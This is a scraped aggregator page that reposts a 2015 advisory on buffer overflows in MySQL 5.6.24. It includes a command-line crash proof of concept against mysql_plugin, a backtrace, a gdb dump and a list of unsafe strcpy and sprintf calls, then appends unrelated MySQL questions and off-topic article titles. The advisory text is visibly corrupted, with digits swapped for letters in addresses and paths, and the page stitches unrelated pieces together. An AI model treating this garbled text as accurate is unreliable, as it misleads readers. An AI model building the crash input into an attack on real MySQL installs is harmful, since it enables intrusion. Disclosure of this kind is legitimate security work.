mysql5.6漏洞_MySQL 5.6.24 Buffer Overflow

2023-05-16

===========================================================

Advanced Information Security Corporation

Security Advisory

===========================================================

a888b.

d888888b.

8P"YP"Y88

8|o||o|88

8' - .88

8`._.' Y8.

d/ `8b.

dP . Y8b.

d8:' " `::88b

d8" 'Y88b

:8P ' :888

8a. : _a88P

._/"Yaa_: .| 88P|

YP" `| 8P `.

/ .___.d| .'

`--..__)888P`._.'

~ Keeping Things Simple!

MySQL v5.6.24 BUFFER OVERFLOWS

Date: 07/10/2015

Author: Nicholas Lemonias

============================================================

========================

SUMMARY

=========================

During a manual source code audit of MYSQL Version 5.6.24, various

buffer overflow issues have been realized.

===================

TECHNICAL DETAILS

===================

root@priv8: ~# /usr/bin/mysql_plugin ‘perl -e ‘print “X” x 9000"

*** buffer overflow detected ***: mysql_plugin terminated

======= Backtrace: =========

/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c6f3)[0xb720d6f3]

/lib/i386-linux-gnu/1686/cmov/libc.so.6(__fortify_fail+0x45)[0xb729b2d5]

/lib/1386-linux-gnu/1686/cmov/libc.so.6(+0xf838a)[0xb729938a]

/lib/i386-linux-gnu/1686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7298877]

insecure call

mysql_plugin(main+0x202)[0xb752ee22]

/lib/i386-linux-gnu/1686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb71baa63]

mysql_plugin(+0xa90d)[0xb752f90d]

======= Memory map: ========

b6800000-b6821000 nw-p 00000000 00:00

b6821000-b6900000 ---p 00000000 00 00

b699d000-b699e000 ---p 00000000 00:00

b699e000-b71a1000 rw-p 00000000 00 00

b71a1000-b7345000 r-xp 00000000 00:13 1673

/lib/i386-linux-gnu/i686/cmov/libc-2.1

9.50

b7345000-b7347000 r-—p 001a4000 00:13 1673

/lib/i386-linux~gnu/i686/cmov/libc-2.1

9.so

b7347000-b7348000 rw-p 00la6000 00:13 1673

/lib/i386-linux-gnu/i686/cmov/libc-2.1

9.so

b7348000-b734b000 rw-p 00000000 00 00 0

b734b000-b7367000 r-xp 00000000 00:13 15697 /lib/i386-linux-gnu/1ibgcc_s.so.1

b7367000-b7368000 rw-p 0001b000 00:13 15697 /lib/i386-linux-gnu/1ibgcc_s.so.1

b7368000—b73ac000 r-xp 00000000 00:13 15649

/lib/i386-linux-gnu/1686/cmov/libm-2.1

9.so

bffc9000-c0000000 pw-p 00000000 00:00 0 [stack]

Program received signal SIGABRT, Aborted.

Oxb7fdebe0 in __kernel_vsyscall ()

(gdb) bt

#0 0xb7fdebe0 in __kernel_vsyscall ()

#1 0xb7caa307 in __GI_raise (sig=sig@entry=6)

at ../nptl/sysdeps/unix/sysv/linux/raise.c:56

#2 0xb7cab9c3 in __GI_abort () at abort.c:89

#3 0xb7ce86f8 in __libc_message (do_abort=do_abort@entry=2,

fmt=fmt@entry=0xb7ddbe55 "*** %s ***: %s terminatedn”)

at ../sysdeps/posix/libc_fatal.c:175

#4 0xb7d762d5 in __GI___fortify_fail (

msg=msg@entry=0xb7ddbdd6 "buffer overflow detected”)

at fortify_fail.c:31

#5 0xb7d7438a in __GI___chk_fail () at chk_fail.c:28

#6 0xb7d73877 in __strcpy_chk (dest=0xbffe8c9c 'A' ...,

src=0xbffe96ed 'A' ..., destlen=)

at strcpy_chk.c:60

#7 0x80009e22 in main ()

(gdb)

(gdb) disas

Dump of assembler code for function __kernel_vsyscall:

0xb7fdebd0 : push %ecx

0xb7fdebd1 : push %edx

Oxb7fdebd2 : push %ebp

Oxb7fdebd3 : mov %esp,%ebp

0xb7fdebd5 : sysenter

Oxb7fdebd7 : nop

Oxb7fdebd8 : nop

0xb7fdebd9 : nop

Oxb7fdebda : nop

Oxb7fdebdb : nop

Oxb7fdebdc : nop

Oxb7fdebdd : nop

Oxb7fdebde : int x80

=> Oxb7fdebe0 : pop %ebp

Oxb7fdebe1 : pop %edx

0xb7fdebe2 : pop %ecx

Oxb7fdebe3 : ret

End of assembler dump.

(gdb)

============================

TECHNICAL SYNOPSIS / POC #2

============================

Unsafe Use of strcpy; this can lead to a buffer overflow condition

----->

/lib/i386-linux-gnu/1686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7298877]

A user-supplied string from the command-line is copied to a fixed

length destination buffer.

-----------------[ mysql_plugin.c]-------------------------------

Line: 796 - Filename: ../mysql/mysql-5.6.24/client/mysql_plugin.c

strcpy(plugin_name, argv[i]);

permission set:

-rwxr-xr-x 1 root root 2833756 Jul 15 21:22 /usr/bin/mysql_plugin

===============================================

MySQL V 5.6.24 VULNERABILITIES - SOURCE CODE

===============================================

1. Insecure use of sprintf

Vulnerability Description: A char* type is copied to a fixed length

destination buffer. This could lead to a buffer overflow.

Line: 577 - Filename: ../mysql/mysql-5.6.24/regex/main.c

sprintf(efbuf, "MY_REG_%s", name);

2.

Unsafe Use of strcpy could lead to an overflow condition.

Vulnerability Description: A user-supplied string from the

command-line is copied to a fixed length destination buffer. This

could lead to a buffer overflow.

Line: 796 - Filename: ../mysql/mysql-5.6.24/client/mysql_plugin.c

strcpy(plugin_name, argv[i]);

3.

Unsafe Use of strcpy could lead to an overflow condition.

Vulnerability Description: A user-supplied string from the

command-line is copied to a fixed length destination buffer. This

could lead to a buffer overflow.

Line: 797 - Filename: ../mysql/mysql-5.6.24/client/mysql_plugin.c

strcpy(config_file, argv[i]);

4.

Insecure use of sprintf.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 544 - Filename: ../mysql/mysql-5.6.24/regex/main.c

sprintf(grump, "matched null at `%.20s'", p);

5.

Insecure use of sprintf.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 525 - Filename: ../mysql/mysql-5.6.24/regex/main.c

sprintf(grump, "matched `%.*s'", len, p);

6.

Unsafe Use of strcpy could lead to an overflow condition.

Vulnerability Description: A user-supplied string from the

command-line is being copied to a fixed length destination buffer.

This could lead to a buffer overflow.

Line: 413 - Filename:

../mysql/mysql-5.6.24/storage/ndb/src/kernel/blocks/dblqh/redoLogReader/reader.cpp

strcpy(fileName, argv[1]);

7.

Insecure use of sprintf.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 531 - Filename: ../mysql/mysql-5.6.24/regex/main.c

sprintf(grump, "matched `%.*s' instead", len, p);

8.

Insecure use of sprintf.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 710 - Filename: ../mysql/mysql-5.6.24/client/mysqlshow.c

sprintf(query,"select count(*) from `%s`", table);

9.

Insecure use of sprintf

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 121 - Filename: ../mysql/mysql-5.6.24/libmysql/conf_to_src.c

sprintf(buf, "%s.conf", set);

10.

Unsafe Use of strcpy could lead to an overflow condition.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This could lead to a buffer overflow.

Line: 784 - Filename:

../mysql/mysql-5.6.24/storage/ndb/src/kernel/blocks/ndbfs/PosixAsyncFile.cpp

strcpy(path, src);

11.

Unsafe Use of strcpy could lead to an overflow condition.

Vulnerability Description: A char* type is being copied to a fixed

length destination buffer. This, could lead to an overflow.

Line: 377 - Filename:

../mysql/mysql-5.6.24/storage/ndb/src/kernel/blocks/ndbfs/Win32AsyncFile.cpp

strcpy(path, src);

<<<

Size of PATH is PATH_MAX 256

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

mysql5.6漏洞_MySQL 5.6.24 Buffer Overflow 的相关文章

  • 合并两个具有相同列名称的 MYSQL 表

    我有两张桌子 表一是计划时间 id edition time 1 1 9 23am 2 2 10 23am 表二为实际时间 id edition time 1 1 10 23am 2 2 11 23am 我想要的结果是 Caption Ed
  • 打印表数据mysql php

    我在尝试打印表格的一些数据时遇到问题 我是 php mysql 的新手 但我认为我的代码是正确的 这里是 h1 Lista de usu rios h1
  • 重置 MySQL root 密码不起作用

    我花了很多时间阅读并尝试了数十种重置 root 密码的方法 但我一无所获 我发现 并尝试过 的最完整的说明如下 顺便说一句 我在 Win7 32 位上运行 MySQL 5 5 我创建了一个文件 c mysqlinit txt 其中包含两行
  • MYSQL 的 Google OAuth 2.0 用户 ID 数据类型

    我正在实施 Google OAuth 2 0 并注意到 Google OAuth 返回的唯一用户 ID 是21位数字长的 我想大整数 20 足以满足这种需求 但我现在看到 Google OAuth 返回的用户 ID 的长度感到困惑 关于我应
  • 使用 md5 加密的 PHP 和 Mysql 查询出现问题

    我使用普通的 php mysql 插入查询并使用 md5 加密密码 这是插入查询 sql mysql query INSERT INTO user username password role approved values usernam
  • 使用溢出支持定位粘性填充材料[重复]

    这个问题在这里已经有答案了 我在用position sticky在我的应用程序中 在使用overflow属性来显示滚动条 我已经寻找了一个确实支持这种情况的polyfill 但到目前为止没有任何运气 有谁知道这样的polyfill shim
  • 选择前 n 个字符相等的行(MySQL)

    我有一张带有玩家句柄的桌子 如下所示 1 N Laka 2 N James 3 nor Brian 4 nor John 5 Player 2 6 Spectator 7 N Joe 从那里我想选择第一个 n 字符匹配的所有玩家 但我不知道
  • 私人聊天系统MYSQL查询显示发送者/接收者的最后一条消息

    在这里我延伸一下我之前的问题 私人聊天系统MYSQL查询ORDERBY和GROUPBY https stackoverflow com questions 10929366 private chat system mysql query o
  • 维护/更新mysql中的记录顺序

    我在 mySql 中有一个记录表 我需要按照用户指定的方式维护它们的订单 所以我添加了一个 位置 列 当我移动特定记录时更新所有记录的 SQL 语句是什么 我有类似的东西 UPDATE items SET position 2 WHERE
  • 如何在 HTML / Javascript 页面中插入 PHP 下拉列表

    好吧 这是我的第二篇文章 请接受我是一个完全的新手 愿意学习 花了很多时间在各个网站上寻找答案 而且我几乎已经到达了我需要到达的地方 至少在这一点上 我有一个网页 其中有许多 javascript 函数 这些函数一起使用 google 地图
  • 扩展位置绝对div超出溢出隐藏div

    我已经好几个月没有做过CSS了 所以我可能会错过一些简单的东西 但无论解决方案是什么 我都无法弄清楚 所以问题就在这里 这是我的代码的简化版本 div style height 100 width 200px div style margi
  • 尝试在 React 应用程序中连接到 MySQL 数据库时,无法读取未定义的属性(读取“查询”)错误

    我正在尝试连接到 MySQL 数据库并在单击按钮后在 React 应用程序中运行查询 一些它如何给出错误 我当前的代码如下所示 import mysql from mysql function App async function sync
  • 当复选框条件更改时,如何使用ajax更新mysql数据库?

    我有一个在客户端按行显示的文章表 每篇文章都有一个唯一的 ID 并包含一个复选框以指示该文章是否被选中为收藏夹 如果它是最喜欢的 则该复选框已被选中 如果没有 则未选中 现在 如果特定于每一行的复选框条件发生变化 我需要 js 或 jque
  • 如何使用wireshark清晰捕获mysql查询sql

    因为我们使用远程开发Mysql服务器 所以不能轻易检查查询sql 如果使用本地服务器可以tail f general log file查看调用某个http接口时执行了哪些sql 所以我安装了一个wireshark捕获这些从本地发送的查询sq
  • 在一个后台为MYSQL的网站上集成搜索

    我有一个位置搜索website http www jammulinks com对于一个城市 我们首先收集该城市所有可能类别的数据 如学校 学院 百货商店等 并将其信息存储在单独的表中 因为每个条目除了名称 地址和电话号码外都有不同的详细信息
  • oursql 中的参数化查询

    如果有人能告诉我是否可以使用命名占位符进行参数化查询 我将不胜感激oursql 一个用于与 MySQL 数据库交互的 python 模块 例如 我尝试了一种可以与 sqlite3 一起使用的查询 c execute select from
  • MySQL集群启动失败

    这不是我第一次创建ndbcluster 但我没有收到这样的问题 我正在关注本手册 https hub docker com r mysql mysql cluster by mysql团队 我正在使用回显的默认配置在此 GitHub 存储库
  • 在 django ORM 中查询时如何将 char 转换为整数?

    最近开始使用 Django ORM 我想执行这个查询 select student id from students where student id like 97318 order by CAST student id as UNSIG
  • 在MySQL中生成随机字符串

    我正在尝试使用函数在 phpmyadmin 中获取随机字符串 我有以下代码 CREATE FUNCTION randomPassword RETURNS varchar 128 BEGIN SET chars ABCDEFGHIJKLMNO
  • 使用“INSERT ... ON DUPLICATE KEY UPDATE”插入多条记录

    我的表结构 table marks 我的目标 我想用条件插入或更新多条记录 我目前正在通过此查询进行检查 第一步 SELECT FROM marks WHERE student 115 AND param 1 第二步 if records

随机推荐

  • 模块介绍之六轴陀螺仪MPU6050篇(STM32基本使用)

    已经有很多大佬介绍过了MPU6050的协议 数据处理方式 滤波算法 xff0c 所以这部分就不再复述了 xff0c 本篇主要是针对看不懂长篇大论的小白的简易上手的方法 首先呢还是得简单介绍下什么是陀螺仪 MPU 60X0是世界上第一款集成
  • 51单片机串口通信原理

    计算机串行通信基础 通信有串行通信和并行通信两种方式 串行通信 xff1a 将数据字节分为一位一位的形式在一条数据线上逐个传送 如下图所示 串行通信特点 xff1a 传输线少 xff0c 长距离传送时成本低 xff0c 且可以利用电话网等现
  • C++中涉及到类继承,构造函数和析构函数执行的顺序,以及虚函数在其中的作用

    一 构造函数与析构函数在对象创建与删除时的执行顺序 构造函数 xff1a 按照继承顺序依次执行父类的构造函数 xff0c 再执行子类的构造函数 xff0c 析构函数 xff1a 和构造函数完全相反 xff1b 这个跟栈的先存后释放弹夹模型是
  • linux系统源码文档,Linux操作系统源代码详细分析

    linux内核的代码分析 Linux操作系统源代码详细分析 内容简介 xff1a Linux 拥有现代操作系统所有的功能 xff0c 如真正的抢先式多任务处理 支持多用户 xff0c 内存保护 xff0c 虚拟内存 xff0c 支持SMP
  • Kerloud mini飞控PX4固件使用详解

    简介 Kerloud Mini是由云讷科技 xff08 深圳 xff09 有限公司发布的自驾仪产品 xff0c 主要面向无人系统 xff08 如无人机 无人车等 xff09 作为一个受益于开源社区的开发团队 xff0c 我们积极使产品能够兼
  • 示波器基础二十问

    第一问 xff1a 示波器的波形代表什么意义 xff1f 一句话概括 xff1a 水平坐标代表时间 xff0c 垂直坐标代表电压 xff08 一般是电压 xff09 xff0c 电压随时间变化的曲线就是示波器显示的波形 垂直坐标比较好理解
  • 设置Ubuntu 18登陆时直接进入命令行界面(字符界面)

    一般而言 xff0c 登陆之后默认的时图形界面即Xwindows界面 xff0c 我们在登陆后默认界面后打开终端 xff08 命令行 xff09 快捷键为 xff1a ctl 43 alt 43 T sudo systemctl set d
  • Keil5配置使用IAP15F2K61S2的头文件

    一 xff0c 安装Keil版本仿真驱动 STC ISP 首先选择 Keil关联设置 页面 xff0c 点击 添加MCU型号到Keil中 xff0c 在出现的如 Keil的安装目录 自己安装时所选择的 xff0c 找到后 确定 出现下图为成
  • Java常用工具类之HttpUtils

    HttpClien请求涉及到两个类 xff0c 一个是http的请求 xff0c 另一个是对http连接池参数进行设置 所需的jar span class token tag span class token tag span class
  • Jetson 系列——基于yolov5对反光衣和安全帽的检测,部属于jetson xavier nx,使用tensorrt、c++和int8加速,可用于边缘计算

    代码地址 xff1a github c 43 43 地址 https github com RichardoMrMu yolov5 reflective clothes detect github python地址 https github
  • 开源自制的6通道航模遥控器(三)-遥控器端增加MIX混控模式

    1 了解什么是混控 要了解混控 xff0c 需要先对比一般的遥控模式 一般遥控的每个操作控制都是一个通道 xff0c 比如美国手的遥控器 xff0c 左边摇杆前后控制油门 xff0c 左右控制方向舵 xff1b 右边摇杆前后控制升降舵 xf
  • MacOS终端配置

    MacOS下终端的一些问题 安装HomeBrew 官方推荐的是 bin bash c 34 curl fsSL https raw githubusercontent com Homebrew install master install
  • ArcFaceSDK3.0 Python Demo

    做服务外包项目需要是用虹软的人脸对比SDK xff0c 项目使用Python进行开发 xff0c 但是网上以及官方社区没有基于Python的3 0版本项目 xff0c 所以自己根据社区里大佬1 1和2 0的Demo修改套了一下 face c
  • 利用Github和Hexo搭建自己的博客

    之前的自己搭的服务器gg了 xff0c 一直也没动手继续去恢复一下 xff0c 前段时间看操作系统教程的时候被NEXT这个主题吸引了 xff0c 再次萌生了整个博客的想法 之前就有听说过Github可以搭博客 xff0c 所以这次也打算试一
  • 面向行业级应用的Kerloud 600 Pro-Cam Pod开发平台

    产品定位 Kerloud 600 Pro Cam Pod是云讷科技 xff08 深圳 xff09 有限公司为行业级无人机解决方案开发者打造的一款高级无人机研发平台 xff0c 产品搭载高算力Nvidia GPU 高清吊舱云台并配备专业的SD
  • swift-网络-URLSession学习

    URLSession 在 2013年随着 iOS7 的发布一起面世的 xff0c 苹果对它的定位是作为 NSURLConnection 的替代者 xff0c 在 iOS9 之后苹果官方已经移除了 NSURLConnection xff0c
  • nil和Nil及NULL和NSNull的区别 - OC

    其实早就想研究一下nil Nil NULL和NSNull之间的区别 xff0c 只是工作上除了nil xff0c 其它的几乎少有用到 xff0c 所以一直拖到今天 有时候感觉自己越来越浮躁 xff0c 对细微处的知识理解不够深入 xff0c
  • Fast-planner代码阅读2-TopoReplan (path searchiing部分)

    文章目录 1 总体流程2 Topo Path Finding Algorithm主要算法及图例3 topoPath路径搜索代码流程3 1 createGraph xff08 xff09 3 1 1 findVisbGUard3 1 2 ne
  • centos7.7 安装google浏览器

    centos7 7 安装google浏览器 添加google chrome 源 cd etc yum repos d vi google chrome repo 添加如下内容 google chrome name 61 google chr
  • mysql5.6漏洞_MySQL 5.6.24 Buffer Overflow

    61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61